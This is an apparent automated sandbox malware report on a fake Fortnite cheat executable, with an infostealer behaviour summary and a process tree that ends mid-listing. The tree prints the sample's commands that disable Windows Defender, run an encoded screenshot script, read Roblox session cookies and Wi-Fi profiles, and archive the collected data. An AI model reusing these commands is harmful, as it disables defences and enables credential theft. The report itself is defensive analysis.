Resubmissions

04/11/2024, 18:04

241104-wn3dwatndx 10

03/11/2024, 11:51

241103-n1hw1atble 10

Analysis

  • max time kernel
    7s
  • max time network
    14s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2024, 18:04

General

  • Target

    GhostMenufortnite.exe

  • Size

    7.4MB

  • MD5

    bf3a3cd9846970e0b2884c799ffe42ce

  • SHA1

    6c88fd2dbbba342a771c4a83aae2ece40a6099b4

  • SHA256

    c3335bf2bd5442782b779825dd46b687dfdca60c3bacaaef40ba5102ed9f8cfb

  • SHA512

    e8c2fa5e986411f8827c083a44d467b60c281159bdd652e544628a431b5f9c1520ea749a547b79f53ebe5429d6f77e01c6b7c83c9bf46ea8b7dfeb10ae755c61

  • SSDEEP

    196608:k/0cDLLjv+bhqNVoBKUh8mz4Iv9PQv1DV2:FivL+9qz8/b4Imv32

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • UPX packed file 43 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe
    "C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2620
    • C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe
      "C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2352
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:388
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\GhostMenufortnite.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1644
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5104
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('YOU JUST GOT RATTED ', 0, 'ERROR', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2044
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('YOU JUST GOT RATTED ', 0, 'ERROR', 48+16);close()"
          4⤵
            PID:3884
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏‌  .scr'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1848
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏‌  .scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2104
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1416
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4524
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1560
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1420
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4716
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2652
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:4324
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:320
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1384
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2356
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4380
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:1400
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:2932
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:4968
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3272
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:3460
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2664
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              4⤵
                PID:4344
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:8
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1164
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c0kfu3qj\c0kfu3qj.cmdline"
                  5⤵
                    PID:660
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBA95.tmp" "c:\Users\Admin\AppData\Local\Temp\c0kfu3qj\CSCE4ED7CB5409F4ECDB3168992246C151.TMP"
                      6⤵
                        PID:952
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2628
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:3280
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                    3⤵
                      PID:4304
                      • C:\Windows\system32\attrib.exe
                        attrib -r C:\Windows\System32\drivers\etc\hosts
                        4⤵
                        • Drops file in Drivers directory
                        • Views/modifies file attributes
                        PID:964
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                        PID:3728
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          4⤵
                            PID:4528
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                          3⤵
                            PID:732
                            • C:\Windows\system32\tree.com
                              tree /A /F
                              4⤵
                                PID:4716
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                              3⤵
                                PID:4580
                                • C:\Windows\system32\attrib.exe
                                  attrib +r C:\Windows\System32\drivers\etc\hosts
                                  4⤵
                                  • Drops file in Drivers directory
                                  • Views/modifies file attributes
                                  PID:3264
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                3⤵
                                  PID:964
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    4⤵
                                      PID:4176
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                    3⤵
                                      PID:3676
                                      • C:\Windows\system32\tasklist.exe
                                        tasklist /FO LIST
                                        4⤵
                                        • Enumerates processes with tasklist
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4484
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:1440
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:1464
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                          3⤵
                                            PID:3340
                                            • C:\Windows\System32\Conhost.exe
                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              4⤵
                                                PID:3728
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                4⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:4768
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                              3⤵
                                                PID:3532
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                  4⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4820
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "getmac"
                                                3⤵
                                                  PID:2908
                                                  • C:\Windows\system32\getmac.exe
                                                    getmac
                                                    4⤵
                                                      PID:3972
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI26202\rar.exe a -r -hp"n" "C:\Users\Admin\AppData\Local\Temp\iC2dp.zip" *"
                                                    3⤵
                                                      PID:4368
                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI26202\rar.exe
                                                        C:\Users\Admin\AppData\Local\Temp\_MEI26202\rar.exe a -r -hp"n" "C:\Users\Admin\AppData\Local\Temp\iC2dp.zip" *
                                                        4⤵
                                                        • Executes dropped EXE
                                                        PID:2012
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                      3⤵
                                                        PID:3388
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic os get Caption
                                                          4⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1420
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                        3⤵
                                                          PID:3344
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic computersystem get totalphysicalmemory
                                                            4⤵
                                                              PID:1412
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                            3⤵
                                                              PID:1656
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic csproduct get uuid
                                                                4⤵
                                                                  PID:2336
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                3⤵
                                                                  PID:1864
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                    4⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:5028
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                  3⤵
                                                                    PID:4124
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic path win32_VideoController get name
                                                                      4⤵
                                                                      • Detects videocard installed
                                                                      PID:2000
                                                                  • C:\Windows\system32\cmd.exe
